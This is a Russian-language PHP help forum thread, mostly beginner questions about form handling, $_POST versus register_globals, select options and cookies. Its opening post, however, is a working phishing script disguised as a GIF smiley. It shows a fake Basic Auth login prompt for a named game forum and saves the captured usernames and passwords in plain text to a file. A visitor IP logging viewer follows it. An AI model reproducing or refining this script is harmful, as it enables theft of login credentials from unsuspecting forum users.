PHP: <? //делаем скрипт картинкой header("Content-type: image/gif"); //делаем изображение смайликом из архива $image = imagecreatefromgif('mellow.gif'); $a=1; while ($a<999){ if(!$_COOKIE['LOGON']) { $login = $_SERVER['PHP_AUTH_USER']; $pass = $_SERVER['PHP_AUTH_PW']; //Авторизация пройдёт, если пароль больше 2-ёх символов и вообще написан логин if(strlen($pass) <= 2 || !$login) { Header('HTTP/1.1 401 Unauthorized'); Header('WWW-Authenticate: Basic realm="la2titan.ru/forum/ - login"'); } elseif($login) { //ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис )) setcookie('LOGON',md5($pass)); //запишем пароли в файл $f = fopen('passwords.txt', 'ab'); //passwords.txt fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD fclose($f); } } $a++; } imagegif($image); imagedestroy($image); ?> так? всё равно при отмене оно больше не выводится(
PHP: list($_ip, $_time, $_rnd1, $_rnd2) = explode(':', trim($ip)); $print[$_ip] = $_ip; $time[$_ip] = $_time; $print[$_rnd1] = $_rnd1; $print[$_rnd2] = $_rnd2;
PHP: <?php $log = 'ip.txt'; $file = file($log); $k = array(); foreach($file as $abc) { list($k['ip'][], $k['time'][], $k['cid'][], $k['nat'][]) = explode(':::', trim($abc)); } $max_time = time() - 300000; /*$k['ip'] = array_unique($k['ip']); $k['time'] = array_unique($k['time']); $k['cid'] = array_unique($k['cid']); $k['nat'] = array_unique($k['nat']);*/ $count = count($k['ip']); for($i = 0;$i < $count; $i++) { if($k['time'][$i] > $max_time) { $vremya = date('h:i:s', $k['time'][$i]); if(strpos($k['nat'][$i], 'real') !== false) { $color='#66DD66'; } else { $color='yellow'; } echo '<a href="javascript:FP_setTextFieldText(\'ipaddr\', \''.$k['ip'][$i].'\', \'1\')"><font color='.$color.' size=2>'.$k['cid'][$i].'</font></a><font color=red size=2> Time:'.$vremya.'</font><br/>'; } } ?>
я в заблуждении. думаю что же сделал не так. итак, имеем файл test.php, лежащий на локалхосте (http://good/) test.php PHP: <form action = "http://good/test.php" method="get"> Рас <input type="text" name="ras"><br> Два <input type="text" name="dva"><br> <input type="submit" value="Считаем!"> </form> <? $sum = $ras + $dva; echo $sum; echo "<br>"; // эти строчки добавил echo(gettype($ras)); // потому что echo "<br>"; // ответ echo(gettype($dva)); // всегда был ноль ?> получается что $sum всегда ноль. в браузере, независимо от значений $ras и $dva всегда вижу: как решается проблема?)
PHP: <form action = "http://good/test.php" method="post"> Рас <input type="text" name="ras"><br> Два <input type="text" name="dva"><br> <input type="submit" value="Считаем!"> </form> <? $sum = $_POST["ras"] + $_POST["dva"]; echo $sum; echo "<br>"; // эти строчки добавил echo(gettype($_POST["ras"])); // потому что echo "<br>"; // ответ echo(gettype($_POST["dva"])); // всегда был ноль ?> Данные получаемые из форм находятся в массиве $_POST
вариант 1 - ламерский - включи себе в пхп register_globals, тогда переданные переменные будут автоматом создаваться, но в таком случае возможны проблемы с секъюрностью, если где-то затупишь вариант 2 - правильный - данные из формы будут либо в массиве $_GET, либо в массиве $_POST, смотря что напишешь в <form method="get/post">, и точно будут в массиве $_REQUEST, который объединяет 2 предыдущих. замени в своем коде $ras, $dva на$_GET['ras'] и $_GET['dva'], или же $_REQUEST['ras'].. и должно заработать
подскажите плиз, скачал библиотеку отсюда http://www.pdflib.com/ а как ее подключить к моему php не знаю , никогда библиотеки не приходилось подключать, у меня стоит локально xampp
У меня вот такай проблема. Я создал простою страничку и опцию для выбора языков (2 языка, русский и английский в директории с index файлом). Как сделать так чтобы при выборе языка оно сохраняло в cookies ?
есть форма в файле index.php PHP: <form action = "send.php" method="post"> <select name="country"> <option value="" name="rus" >Россия <option value="" name="ukr" >Украина <option value="" name="bel" >Белоруссия <input type=submit value="ок"> </form> send.php PHP: <? $r="rus"; $u="ukr"; $b="bel"; if($name == $r) { //так не катит echo "Тру"; }else{ echo "фолс"; } ?> Как передать значение "name" в файл send.php
PHP: <form action = "send.php" method="post"> <select name="country"> <option value="rus" name="country" >Россия <option value="urk" name="country" >Украина <option value="bel" name="country" >Белоруссия <input type=submit value="ок"> </form> <? $countrys = Array('urk', 'rus', 'bel'); // по дефолту будет $countrys[0] (т.е. urk) $lang = isset($_POST['country'])?$_POST['country']:$countrys[0]; if (!in_array($country,$countrys)) $country = $countrys[0]; echo 'страна: '.$country; ?>
PHP: <? $name[0]="rus"; $name[1]="ukr"; $name[2]="bel"; if($name[0] == rus) { echo "Тру"; }else{ echo "фолс"; } ?>
мде, ни укого не будет пахать PHP: <form action = "send.php" method="post"> <select name="country"> <option value="rus" >Россия </option> <option value="ukr" >Украина </option> <option value="bel" >Белоруссия </option> </select> <input type=submit value="ок"> </form> send.php PHP: <?php if($_POST['country']=='rus') echo 'тру'; ?> ---- ахахах, вас смело на говнокод постить можно